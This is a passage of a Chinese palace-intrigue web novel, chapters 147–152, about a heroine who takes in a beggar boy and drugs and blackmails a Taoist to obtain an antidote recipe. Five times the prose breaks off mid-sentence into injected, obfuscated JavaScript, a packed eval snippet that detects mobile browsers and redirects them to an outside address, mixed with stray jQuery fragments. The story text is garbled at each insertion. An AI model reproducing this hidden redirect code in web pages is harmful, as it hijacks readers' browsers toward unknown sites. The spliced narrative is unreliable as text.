身旁的同伴立刻上前,一把扣住茅文昭的肩膀,将他狠狠推到一旁。 茅文昭一个踉跄,差点跌倒在地。 他想再次上前,可冰冷的刀锋,已经抵在了他的脖子上。 “再敢阻拦,以妨碍公务论处,一并带走!” 缇骑的声音,像是从地狱里传来的,冰冷刺骨。 茅文昭瞬间僵住,脸色煞白,嘴唇哆嗦着,却再也说不出一个字。 “爹!救我!爹!我不想去诏狱啊!爹……” 茅暮暮的哭喊声,渐渐远去,最终,消失在了长街尽头。 茅文昭呆立半晌,才猛然回神,他一把抓住茅飞羽,声音颤抖: “飞羽,这……什么情况啊?你二姐她……怎么会……” 茅飞羽看着自己父亲那张写满了震惊、愤怒和茫然的脸,心中涌起一股难以言喻的悲哀。 “父亲不是一直认定,二姐是清白的吗?” 茅飞羽的声音很轻,轻得像一片羽毛, “现在,人证物证俱在,父亲还有何话说?” “人证物证?什么人证物证?!” 茅文昭像是根本没听进去,只是一个劲地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062177|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头, “不,我不信!暮暮不会做这种事!一定是你大姐!是茅清兮!是她搞的鬼!” 茅飞羽缓缓抬起头,看着眼前这个已经完全失去理智的父亲,眼神中,最后一丝希望,也彻底破灭了。 “父亲与其在这里胡乱猜测,倒不如去查查,二姐这些日子,都跟什么人来往,又做了些什么事。” 茅飞羽的声音,平静得没有一丝波澜, “祖母身边的梅嬷嬷一家,已经招认了。二姐,脱不了干系。” “你……连亲姐都不信,真是绝了?” 茅文昭的声音,像是被人掐住了喉咙,嘶哑得不成样子。 他最疼爱的女儿,最引以为傲的女儿,怎么可能做出这种事?这不可能! 茅文昭猛地甩开茅飞羽的手,转身就走,看那架势,是要去为他的宝贝女儿“洗刷冤屈”了。 茅飞羽没有动,只是站在原地,任由那股巨大的空虚和疲惫,将他一点点吞噬。 他想去找茅清兮,想问问她,发生甚么事了,想问问她,为什么会变成这样。 可当他转过身,却发现,茅清兮早已不知去向。 他苦笑一声,缓缓闭上眼睛。 其实,他早就该明白的,不是吗? 是他亲手,将她推远了,推到了一个,他再也无法触及的地方。 听雨阁里,光线昏暗。 茅清兮坐在桌边,手里把玩着一只白玉茶盏,眼神晦暗不明。 自从昨天锦衣卫来过之后,这里就冷清了许多。 那些平日里高谈阔论的学子们,如今都像鹌鹑一样,缩着脖子,生怕说错一句话,惹来杀身之祸。 “主子。” 司玄苏走进来,在她身旁站定。 “北边有消息了。” 茅清兮的手微微一顿,抬眸看向他: “说。” 司玄苏深吸一口气,缓缓开口: “尤将军……战**。” 茅清兮的心,像是被一只无形的手,狠狠攥紧。 “云陲……如何了?” 她的声音很轻,却带着一丝不易察觉的颤抖。 “丢了六座城。” 司玄苏的声音低沉, “尤将军的头颅,被西魏人挂在了阵前……” 茅清兮猛地闭上眼睛,只觉得一股寒意,从脚底直窜头顶。 第一百四十七章 自从两年前,冀容白在云陲吃了败仗,朝廷就派了尤临风去镇守。 尤临风是跟着先帝打江山的老人,虽说没什么大智慧,可胜在经验老到,为人谨慎,守城还算稳当。 可西魏人休整了两年,如今再打过来,尤临风怕是顶不住了。 “消息……传到朝廷了吗?” 茅清兮睁开眼,问道。 “还没,不过也快了,估计最迟明日,就会有消息传到京城。” 司玄苏回答。 茅清兮揉了揉眉心,心中那股不祥的预感,越来越强烈。 “白苏道长那边,可有什么动静?” 她定了定神,问道。 “我们的人一直在盯着他,主子可是要见他?” 司玄苏问道。 “嗯。” 茅清兮点点头,眼神幽深, “寒星露的解药,还得着落在他身上。还有青鸾阁……我也得去会会他。”夜色如墨,听雨阁的灯笼在风中轻轻摇曳。 “傻子也能看出谁更厉害,这有什么好奇怪的?” 一个稚嫩的声音打破了沉默,带着几分不服气。 茅清兮低头,看着眼前的小乞儿。 他身形瘦小,站在她面前,头顶刚到她肩膀。身上的衣服破破烂烂,混着泥土和油污,看不出原本的颜色。 唯有那双眼睛,亮得惊人。 像两颗黑曜石,闪烁着倔强的光芒,仿佛要把这世间的不公都看穿。 “主子,这小乞儿脑子不太灵光,平时就爱胡说八道。”司玄苏在一旁解释,语气中带着几分无奈。 茅清兮没有说话,只是静静地看着小乞儿。 她方才就注意到,这孩子根骨极佳,天赋异禀的武学奇才。 若能有名师指点,假以时日,必成大器。 只是,他真的是个傻子吗? “你叫什么?”茅清兮开口问道,声音很轻,却带着一种不容抗拒的力量。 “周长明。”小乞儿回答,声音闷闷的,像从胸腔里挤出来的一样。 周长明? 茅清兮在心里默念着这个名字,总觉得有几分熟悉,似乎在哪里听过。 “你今年多大了?看着这么小,能干什么活?”司玄苏在一旁打量着他,语气中带着几分怀疑。 “十二岁了。”周长明挺直了腰板,努力让自己看起来高一些,“我会的可多了,不信你问!” 十二岁? 茅清兮和司玄苏对视一眼,都有些惊讶。 这孩子,看起来顶多也就七八岁的模样,竟然已经十二岁了。 看来,是长期流落街头,缺衣少食,才导致他如此瘦弱矮小。 “罢了,你先跟我来吧。”茅清兮说着,转身朝听雨阁内走去。 “哎!”周长明连忙跟上,生怕她把自己落下。 司玄苏看着周长明的背影,摇了摇头,这小乞丐,还真有点意思。 他倒要看看,这小乞丐能玩出什么花样来。 进了听雨阁,茅清兮让司玄苏找人带周长明去洗漱一番。 不多时,一个干净清爽的小少年出现在茅清兮面前。 原本乱糟糟的头发被梳理得整整齐齐,露出光洁的额头。 一双眼睛又大又亮,睫毛长长的,像两把小扇子。 鼻子小巧挺直,嘴唇薄薄的,颜色有些淡。 虽然脸色依旧苍白,身形也还是单薄,但已经可以看出,这是一个长相极为出色的孩子。 “你会些什么?”茅清兮坐在桌边,示意周长明在对面坐下。 周长明有些局促地搓了搓手,不知道该如何回答。 他会的东西很多,可又不知道该从何说起。 “擦桌子、扫地、洗碗、劈柴……这些我都会。”他想了想,说道。 “还会别的吗?”茅清兮不动声色地问。 “我……我还会写字、画画、弹琴……”周长明的声音越来越小,头也低了下去。 他怕茅清兮不相信,觉得自己是在吹牛。 毕竟,他只是一个乞丐,怎么可能会这些东西呢? “哦?”茅清兮挑了挑眉,这倒是出乎她的意料。 一个乞丐,竟然会写字、画画、弹琴? 这可不是一般人家能培养出来的。 “你会写字?写几个字给我看看。”茅清兮说着,从桌上拿过一张纸,递给周长明。 周长明接过纸,却没有动笔。 “怎么了?”茅清兮问。 “我……我没有笔墨。”周长明小声说。 茅清兮这才想起,自己还没有给他准备笔墨。 她转头看向司玄苏:“去拿笔墨来。” 司玄苏应了一声,转身出去了。 不一会儿,他便端着一套笔墨纸砚走了进来。 周长明看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062178|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼前精致的笔墨纸砚,眼中闪过一丝惊讶。 他还是第一次见到这么好的东西。 他小心翼翼地拿起笔,蘸了墨,在纸上写下了几个字。 他的字迹虽然稚嫩,但笔画却很工整,看得出是下过一番功夫的。 茅清兮看着纸上的字,眼中闪过一丝赞赏。 这孩子,果然不简单。 “除了这些,你还会什么?”茅清兮又问。 “我……”周长明还想说什么,却被一阵喧闹声打断。 “让开让开!都给我让开!” 几个凶神恶煞的家丁模样的人闯了进来,手里还拿着棍棒。 他们四处张望,似乎在寻找着什么。 “你们是什么人?竟敢在听雨阁撒野!”司玄苏厉声喝道。 “滚开!没你的事!”为首的家丁一把推开司玄苏,继续往里闯。 “站住!”茅清兮冷冷地开口。 她的声音不大,却带着一股不容置疑的威严。 几个家丁被她的气势震慑,不由自主地停下了脚步。 “你们是什么人?来这里做什么?”茅清兮问。 “我们是……”为首的家丁刚要开口,却被身后一个声音打断。 “住手!” 一个穿着华丽的妇人走了进来,身后跟着几个丫鬟婆子。 她看到茅清兮,先是一愣,随即换上一副笑脸:“原来是宋姑娘,真是巧了。” 茅清兮认出,这妇人是京城有名的媒婆王婆。 “王婆,你这是做什么?”茅清兮问。 “哎呦,宋姑娘,您可别误会。”王婆笑着说,“我是来找人的。” “找人?找什么人?” “一个不听话的小兔崽子。”王婆说着,四处张望,“我刚才明明看到他跑进来了,怎么一转眼就不见了?” 茅清兮心中一动,莫非,王婆要找的人是周长明? “你找的人,是不是一个十二岁左右,身材瘦小,长得很清秀的小男孩?”茅清兮问。 “对对对,就是他!”王婆连连点头,“宋姑娘,您可曾见到他?” 茅清兮没有回答,而是看向周长明。 周长明的脸色有些苍白,身体微微颤抖,似乎很害怕。 “他在这里。”茅清兮说着,指了指周长明。 王婆顺着茅清兮的手指看去,一眼便看到了周长明。 第一百四十八章 “小兔崽子,你还敢跑!看我不打断你的腿!”王婆说着,就要上前去抓周长明。 周长明吓得连忙躲到茅清兮身后。 “王婆,你这是做什么?”茅清兮皱眉问道。 “宋姑娘,您有所不知。”王婆苦着脸说,“这小兔崽子是我家老爷买来的,可他却不听话,整天想着逃跑。这不,今天又趁我不注意,溜了出来。” 买来的? 茅清兮心中一惊,这周长明,竟然是被人买卖的? “你家老爷是谁?”茅清兮问。 “我家老爷是……”王婆刚要说,却又犹豫了。 她看了看茅清兮,小心翼翼地问:“宋姑娘,您问这个做什么?” “我只是好奇。”茅清兮淡淡地说,“你家老爷能买下他,想必也不是一般人。” “那是自然。”王婆得意地说,“我家老爷可是……” “是什么?”茅清兮追问。 王婆却不肯说了,只是一个劲儿地催促茅清兮把周长明交出来。 茅清兮见她不肯说,也不再追问。 她看着周长明,心中已经有了计较。 不管这王婆说的是真是假,她都不会把周长明交给她。 “王婆,这孩子我留下了。”茅清兮说。 “什么?”王婆一愣,随即急了,“宋姑娘,这可使不得!这小兔崽子是我家老爷花了大价钱买来的,您不能说留下就留下啊!” “多少钱?我出双倍。”茅清兮淡淡地说。 “这……”王婆犹豫了。 双倍的价钱,这可不是一笔小数目。 可是,如果就这样把周长明卖给茅清兮,她回去该怎么跟老爷交代? “宋姑娘,您就别为难我了。”王婆苦着脸说,“这小兔崽子,我是真不能给您。” “这么说,你是不肯了?”茅清兮的声音冷了下来。 “我……”王婆还想说什么,却被茅清兮打断。 “玄苏,送客。”茅清兮说着,不再理会王婆。 司玄苏应了一声,带着几个伙计上前,将王婆和她的家丁“请”了出去。 “宋姑娘,您不能这样啊!宋姑娘……”王婆的声音渐渐远去。 茅清兮看着周长明,轻声问:“你愿意跟我走吗?” 周长明抬起头,看着茅清兮,眼中闪过一丝感激,重重地点了点头。 另一边,司玄苏打发走了王婆,回到茅清兮身边。 “主子,您真的要留下他?”司玄苏问。 “嗯。”茅清兮点点头,“这孩子,不简单。” “可是,他的来历……”司玄苏有些担忧。 “无妨。”茅清兮说,“兵来将挡,水来土掩。我倒要看看,这孩子身上究竟藏着什么秘密。” 她心中隐隐有一种预感,这周长明,或许会给她带来意想不到的惊喜。 …… 茅清兮回到住处,却发现冀容白不在。 问过下人,才知道是圣上召见,冀容白已经进宫去了。 茅清兮心中一沉,算算时间,云陲兵败的消息,恐怕已经传到了朝中。 圣上在这个时候召见冀容白,究竟是何用意? 难道,是想让他重掌兵权,北上抗敌? 可如今的冀容白,身中寒星露之毒,早已不复当年之勇。 就算他有心杀敌,恐怕也无力回天。 圣上不可能不知道这一点。 那他召见冀容白,究竟是为了什么? 茅清兮越想越是不安,总觉得有一场巨大的风暴,正在酝酿之中。 她回到房中,刚一进门,便闻到一股淡淡的香味。 这香味很特别,不像是花香,也不像是熏香,倒像是一种药香。 茅清兮心中一动,循着香味走去,在床头发现了一个漆木盒子。 她打开盒子,里面放着一个白色的瓷瓶。 拔开瓶塞,那股奇异的香味更加浓郁了。 茅清兮脸色一变,这味道…… 她猛地意识到,这瓷瓶里装的,是什么东西了。冀容白从皇宫出来,脚步稳健,全然不似腿上有疾之人。 阳光洒在他身上,也照亮了身后一众官员各异的神色。 太子钱云霄刚解了禁足,脸色本就不好。 此刻见了冀容白,更是像吞了苍蝇一般,但他还是强挤出一丝笑,迎了上去: “容白,你的腿当真好了?” 冀容白微微颔首,唇角勾起一抹玩味的弧度: “托太子殿下的福,那些珍贵的药材补品,效果非凡。” 钱云霄闻言,脸上的肌肉微微抽搐。 泰州兵备道一事,父皇已削减了他不少势力。 云陲战事,本是他安插心腹的大好时机,可冀容白偏偏在这时站了起来。 这下,所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062179|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的算盘都落空了。 他深吸一口气,压下心头的怒火,试探着问: “容白,你身上的毒……” 冀容白抬眸,眼神淡淡地扫过钱云霄。 那目光,竟让钱云霄感到一阵寒意,仿佛被一头蛰伏的猛兽盯上。 回过神来时,钱云霄的脸色已阴沉如水。 他堂堂一国储君,竟被冀容白一个眼神震慑? 一股无名火在钱云霄心中燃烧。 冀容白却在这时轻笑出声,语气中带着一丝漫不经心: “寒星露么,不过是暂时压制。能多活一日,便要让这日子过得有声有色,您说是不是,太子殿下?” 钱云霄死死盯着冀容白,那一刻,他竟觉得冀容白对那至高之位起了觊觎之心。 看着钱云霄脸色铁青,冀容白嘴角的笑意更浓,转身离去。 直到冀容白的身影消失在视线中,钱云霄才咬牙切齿地问身旁的孔谋: “你说,冀容白他……有没有可能?” 他没有明说,只是朝明德殿的方向瞥了一眼,眼神阴鸷。 孔谋沉吟片刻,避重就轻地说: “大晋如今的局势,经不起折腾,满朝文武不会答应的。” 他巧妙地回避了圣意。 谁都清楚,圣上最属意的便是冀容白。 若非冀容白身份特殊,又身中剧毒,储君之位花落谁家,尚未可知。 钱云霄与孔谋对视一眼,彼此都从对方眼中看到了杀意。 冀容白,留不得。 冀容白归府途中,特意绕道去了趟祥记。 他知道,茅清兮最爱的便是这家的糕点。 然而,刚踏进府门,便察觉到气氛有些凝重。 穿过屏风,步入内室,只见茅清兮正盯着桌上的瓷瓶出神。 那是沈大夫送来的。 冀容白脚步微顿,还是走到茅清兮身旁坐下。 “娘子。” 他将手中的油纸包在茅清兮面前晃了晃。 往常,茅清兮见了美食,眼睛定会发亮。 可今日,她却只是冷冷地瞥了一眼,毫无反应。 冀容白暗自苦笑。 看来,小姑娘是真的生气了,这下可不好哄了。 他慢条斯理地打开油纸包,将里面的糕点一一取出。 其实,在冀容白回来之前,茅清兮便已想明白了。 第一百五十章 炉中火光摇曳,不知在炼制什么丹药。 茅清兮将药碗放在白苏道长身旁的桌上,目光迅速扫过屋内,然后垂手侍立一旁。 这药,多半是白苏道长用来疗伤的。 他每日必饮,想来已经**以为常。 果然,白苏道长头也不回地伸手去拿药碗。 就在他的指尖即将触碰到碗沿的那一刻,茅清兮动了。 她猛地抬手,撒出一把药粉。 这些药粉无色无味,是她专门调制的。 白苏道长察觉到不对,立刻屏息后退。 可他还是吸入了一丝药粉。 “何方鼠辈,竟敢暗算老夫!” 白苏道长怒喝一声,猛地转过身来。 茅清兮也抬起头,看向他。 四目相对,白苏道长的脸上,却露出了惊愕的神情。 “你……童霜?” 他失声惊呼。 茅清兮心中一凛。 这老道士,居然认得她娘亲! 真是失策。 她原本只想速战速决,却没想到会横生枝节。 不及细想,茅清兮足尖一点,身形如箭般射出,一掌拍向白苏道长。 这一掌,裹挟着凌厉的劲风,势不可挡。 白苏道长却不慌不忙,一边后退,一边急声说道: “且慢!你不是童霜,你是……她女儿?” 他一边说,一边抬手格挡。 双掌相交,内力激荡。 白苏道长闷哼一声,向后退了一步。 他中的**,药力开始发作了! 幸好茅清兮留了后手,不仅在药里动了手脚,还在袖中藏了药粉。 “丫头,你这招跟你娘可真像!” 白苏道长突然怪叫一声。 “不过,你比她还狠!居然下两种药!” 他一边说,一边闪躲。 茅清兮却不给他喘息的机会,步步紧逼。 白苏道长被逼得连连后退,眼看就要撞上身后的屏风。 “小心!” 茅清兮惊呼一声,想要上前扶住。 可终究还是晚了一步。 “轰隆——” 屏风倒地,发出震耳欲聋的声响。 门外,立刻传来一阵急促的脚步声。 “道长,发生何事了?” 有人高声问道。 茅清兮的心提到了嗓子眼。 怎么办? 难道,真要把人强行掳走? “无妨。” 出乎意料的是,白苏道长开口了。 他的声音虽然虚弱,却还算平静。 茅清兮愣住了,不明白他葫芦里卖的什么药。 门外的脚步声渐渐远去。 白苏道长这才无力地拉过一把椅子,一屁股坐下。 “你这丫头,下手也太黑了!打架就打架,还用**,真不讲究!” 他瞪着茅清兮,气哼哼地抱怨。 茅清兮没理他的牢骚,直接问道: “你认识我娘?” “废话!” 白苏道长翻了个白眼, “令堂是我小师妹,按辈分你该称我师伯!” “师伯。” 茅清兮从善如流,立刻改口。 白苏道长却板着脸: “少跟我套近乎!解药呢?” 茅清兮眨了眨眼,一脸无辜: “只是一点**,师伯您还解不了吗?” “你这丫头,跟你娘一样,滑不留手!” 白苏道长没好气地哼了一声。 茅清兮摸了摸鼻子,心想: 娘啊,对不住了,非常时刻,只能借您老人家一用了。 “师伯,” 她凑上前,换上一副亲昵的语气, “我娘以前可没少夸您,说您是世上最好的人,对她最好了。她还说,这辈子最遗憾的事,就是跟您失散了,没能再见上一面。” 茅清兮一边说,一边暗自琢磨。 若是娘亲当年跟这老道一直有联系,紫姨怎么会不认得他? 这其中,怕是有什么蹊跷。 白苏道长听了,神色却有些古怪: “她真是这么说的?那她有没有说,是哪个师哥对她最好?” 茅清兮心里咯噔一下。 “你母亲上面有九位师兄,她说的是哪个?” 白苏道长似笑非笑地盯着她, “你既然说是师伯我,那你说说,我是你几师伯?” 茅清兮:“……” 真是万万没想到,借用娘亲的名头,也有马失前蹄的时候。 她心里暗暗叫苦: 娘啊,您该不会是怪女儿没给您上香,所以才不保佑我吧? 白苏道长发出一声不屑: “得了,别演了,你娘最讨厌的师哥就是我!我俩从小打到大,谁也不服谁。她还放过狠话,说总有一天要把我揍得满地找牙,逼我下跪称呼她老人家!” 茅清兮嘴角抽搐。 娘啊,您这仇家,可真不少。 前有冀大夫人,后有白苏道长。 看来,以后再也不能打着您的旗号招摇撞骗了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062181|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这哪是骗人啊,分明是自寻死路。 白苏道长深吸一口气,开始运功逼毒。 这**并无解药,只能靠内力慢慢化解。 “说吧,你这丫头,偷偷摸摸地跑到这里来,究竟想干什么?” 白苏道长一边运功,一边问道。 事已至此,茅清兮也不再隐瞒。 只是,她心中仍有顾虑。 是现在就开口讨要寒星露的解药,还是先把人绑回去再说? 有她娘亲当年结下的梁子,加上她方才**的行径,想要凭着那点所谓的“情分”要到解药,恐怕是难上加难。 可是,冀容白马上就要去云陲了,时间紧迫,容不得她犹豫。 如果没有解药,他就只能服用那枚药性霸道的药丸了。 怎么办? 茅清兮心中焦急万分。 就在她犹豫不决的时候,屋外突然传来一声大喝: “有刺客!抓刺客!” 茅清兮脸色骤变。 被发现了!“你还有同伙?” 白苏道长捻着胡须,语气玩味。 茅清兮心头一跳,面上不动声色: “师伯说笑了,我不过是来探望您,哪有什么同伙?” 她一边说,一边暗自思忖,深更半夜,孤身一人闯进太子府,还对白苏道长下了药,这嫌疑,可不是三言两语能洗清的。 “呵。” 白苏道长轻笑一声,也不知信了还是没信。 突然,原本寂静的太子府,像是炸开了锅。 “这是……” 茅清兮故作惊讶。 灯笼火把亮起,脚步声、呼喝声,此起彼伏。 “有刺客!抓刺客!” “快!别让他跑了!” 侍卫们训练有素,却又难掩慌乱。 睡梦中的太子钱云霄也被惊醒,他裹了件外袍就冲了出来,头发凌乱,脸色铁青。 “怎么回事?!” 他厉声质问。 孔谋捂着还在渗血的肩膀,跌跌撞撞地赶来,脸色煞白: “殿下……有刺客!” “刺客?!” 钱云霄声音都劈叉了。 “什么人吃了熊心豹子胆,敢到太子府行刺?!” 他气得浑身发抖,最近真是邪了门了,先是有人暗中捣鬼,现在竟然还有刺客上门,真当他这个太子是泥捏的不成! “好像……是个女人。” 孔谋皱着眉,努力回忆着, “属下跟她过了几招,伤了她的胳膊,她应该逃不远。 第一百五十一章 ” 钱云霄一听更气了。 孔谋又补充道: “当务之急是抓人,殿下,小心有人浑水摸鱼……” 他这话,意有所指。 钱云霄猛地反应过来,直奔书房。 还好,书房里的东西都在,没人动过。 他和孔谋交换了一个眼神,都明白了对方的意思。 “去白苏道长那里看看!” 钱云霄咬牙切齿。 孔谋的脸色也有些难看: “属下方才,正是要去道长那里,才和那刺客撞上的。” 钱云霄心里咯噔一下。 “大师的地盘检查完了没?他老人家有没有事?” 他急忙问身边的侍卫。 侍卫连忙回答: “属下这就去!” 钱云霄不放心,亲自带着一队人,往白苏道长的院子赶去。 孔谋跟在后面,目光扫过四周,最后停留在白苏道长紧闭的房门上。 “道长,有**混进来了,您没事吧?” 他提高了声音,隔着门问道。 白苏道长正要开口,茅清兮突然闪身到他身前,压低声音,带着一丝威胁: “老道士,你要是敢胡说八道,我就把你那点风流韵事,全都抖搂出去!” 白苏道长眼睛瞪得溜圆,一脸的难以置信: “你……你怎么知道?” 他死死地盯着茅清兮,活像见了鬼。 茅清兮微微一笑: “这世上,就没有我不知道的事。您老人家,是想晚节不保呢,还是想……” 她故意拉长了调子,威胁的意味不言而喻。 “你!无耻!” 白苏道长气得差点背过气去, “你竟敢拿臧雨的名声来要挟我?!” 他压低声音,每一个字都像是从牙缝里挤出来的。 茅清兮暗自撇嘴,要挟你又怎么样? 人命关天,还讲什么道义? “道长!大师您还好吗?” 钱云霄的声音在门外响起,越来越急促。 “砰砰砰!” 敲门声也越来越响。 再不开门,怕是要直接撞进来了。 茅清兮趁机躲进了柜子里。 “没事……” 白苏道长深吸一口气,强压下怒火,尽量让自己的声音听起来平静。 “吱呀——” 门被推开了。 孔谋率先走了进来,目光警惕地扫视着房间。 钱云霄也跟了进来,一脸关切。 白苏道长暗暗叫苦,这姓张的可不好糊弄,他心里那点小九九,瞒得过钱云霄,可瞒不过孔谋。 果然,孔谋一眼就看到了丹炉旁边的药碗。 他走过去,端起碗闻了闻,眉头紧锁: “这药里……有**?” 白苏道长只好点头承认。 钱云霄大惊失色: “道长,您怎么样?快!传太医!” “不必了。” 白苏道长摆了摆手,虚弱地说, “一点**而已,我用内力逼出来便是。方才有个丫鬟来送药,我一时不察,着了她的道,幸好她不是我的对手,从窗户逃走了。” 他指了指敞开的窗户。 孔谋的目光,落在了那扇窗户上。 难道,他刚才撞见的,真的是从这里逃走的刺客? 可他心里,总觉得有哪里不对劲。 钱云霄没再多问,又派人加强了对白苏道长院子的守卫,这才离开。 等人一走,茅清兮就从柜子里出来了。 白苏道长看着她,脸色难看至极。 茅清兮却不以为意,在他对面坐下,翘起了二郎腿。 白苏道长气得吹胡子瞪眼: “你给我滚!你给我滚远点!” 茅清兮却像没听见一样,自顾自地开口: “老道士,你手里有寒星露的解药,对吧?” 白苏道长猛地抬头,目光如刀: “你是为冀容白来的?” 茅清兮心想,这老家伙果然不知道她和冀容白的关系。 她故作惊讶: “冀容白?关他什么事?” “哼,少装蒜!” 白苏道长冷笑, “除了他,谁还知道我有寒星露的解药?小丫头,别以为我不知道你的心思,解药,想都别想拿到!” 茅清兮也不恼,只是淡淡地说: “我只是对寒星露的解药感兴趣,想研究研究,跟冀容白有什么关系?” 白苏道长压根不信: “你这丫头,跟你娘一样狡猾!解药,你想都别想!” 他脸上露出一丝得意的神情, “我已经把解药毁了,就算你想偷,也偷不走!” “毁了?” 茅清兮眯起眼睛, “你确定?” 白苏道长被她看得有些心虚,但还是强硬地说: “当然!我亲手毁的,还能有假?” 茅清兮沉默了片刻,似乎有些失落: “真的……没有了吗?” “没了!” 白苏道长斩钉截铁地说。 小丫头,还是太嫩了。 他心里冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062182|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “师伯,”茅清兮往前凑了凑,声音里带着一丝不易察觉的颤抖,“那……还有谁有解药?” 她抬起头,一双眼睛,像极了当年的童霜。 白苏道长看着她,心里五味杂陈。 想当年,童霜是何等骄傲,何等不可一世,如今,她的女儿,却要低声下气地求他。 真是…… “寒星露的解药,哪是那么好找的?” 他故意叹了口气, “整个青鸾阁,会配制的人,也不超过三个。” “那……” “别做梦了!” 白苏道长打断她, “就算有人会配,也不会给你!我实话告诉你吧,要不是我当年无意中得到了一张残方,又走了狗屎运,找到了一味关键的药引,我也配不出解药!” “药方?” 茅清兮眼睛一亮。 “配方休想得手!” 白苏道长立刻警觉起来, “就算给你药方,你也找不到那些药材!” “这个,就不劳您操心了。” 茅清兮语气一转,变得冷漠, “药方,拿来!” “你……” 白苏道长正要发作,突然脸色大变, “你……你又给我下毒?!” 茅清兮笑眯眯地说: “不是毒,是痒痒粉,我新研制的,效果不错吧?” “你……卑鄙!” 白苏道长气得浑身发抖,想挠又不敢挠,一张脸涨成了猪肝色。 “彼此彼此。” 茅清兮笑得更开心了, “老道士,药方呢?你是想自己交出来,还是让我帮你找?” “你……你跟你娘一样,都……都让人讨厌!” 白苏道长咬牙切齿, “好……好……我给……我给你!” 他浑身痒得像有蚂蚁在爬,一刻也忍不了了。 “解药……解药也给我!” 他几乎是吼出来的。 “成交!” 茅清兮笑眯眯地答应。 等白苏道长颤抖着手取出药方,茅清兮才大发慈悲地给他解了毒。 一盆冷水泼下去,药性全消。 茅清兮拿了药方,转身就走。 “丫头,”白苏道长突然叫住她,“你可知道,冀容白的身世?” 茅清兮停下脚步。 白苏道长声音低沉: “就算你解了他这次的毒,下次,他还会再中,而且……会更麻烦。”水珠顺着白苏道长的发梢,一颗颗砸落,在地面晕开,像是某种无声的嘲讽。 第一百五十二章 他身上那件湿透的道袍,紧紧贴着皮肤,勾勒出他消瘦的身形,更显得他狼狈不堪。 白苏道长死死盯着茅清兮,每一个字都像是从牙缝里挤出来的,带着浓浓的恨意: “冀容白?呵,他爹可是当今圣上,钱云熙!” 他停顿了一下,似乎是在回味当年的往事,眼神中翻滚着嫉恨与不甘。 “想当年,钱云熙还没发迹的时候,就跟臧雨山盟海誓,说什么,等他打下了江山,一定要让他们的儿子继承皇位。” 茅清兮静静地听着,眉头不自觉地拧成一个结,像是两只纠缠在一起的**毛虫。 “可谁能想到,”白苏道长咬牙切齿,声音里带着一丝扭曲的快意,“臧雨竟然真的生了个儿子!” 他深吸一口气,又缓缓吐出,仿佛要把胸腔里积压多年的浊气都排出来。 “可惜啊,那时候的钱云熙,早就不是当初那个一无所有的毛头小子了。” “他一步步登上皇位,每一步都走得战战兢兢,如履薄冰。这天下,早就不是他一个人能说了算的了!” “各方势力盘根错节,明争暗斗,那些皇子们,哪个背后不是站着一堆人?斗来斗去,最后还是太子钱云霄,坐稳了东宫之位。” 茅清兮听到这里,已经有些不耐烦了。 她直接打断了白苏道长的话,冷冷地问: “所以呢?冀容白身上的毒,到底是谁下的?” 白苏道长眼神闪烁,像是两只受惊的老鼠,四处乱窜。 他避而不答,只是阴阳怪气地说: “你管那么多干什么?总之,钱云熙当年那句话,就等于给冀容白判了**,懂吗?” “多少人巴不得他早点死,你还费心思救他?” 茅清兮紧抿着唇,脸色越来越难看。 她深吸一口气,尽量让自己的声音听起来平静一些: 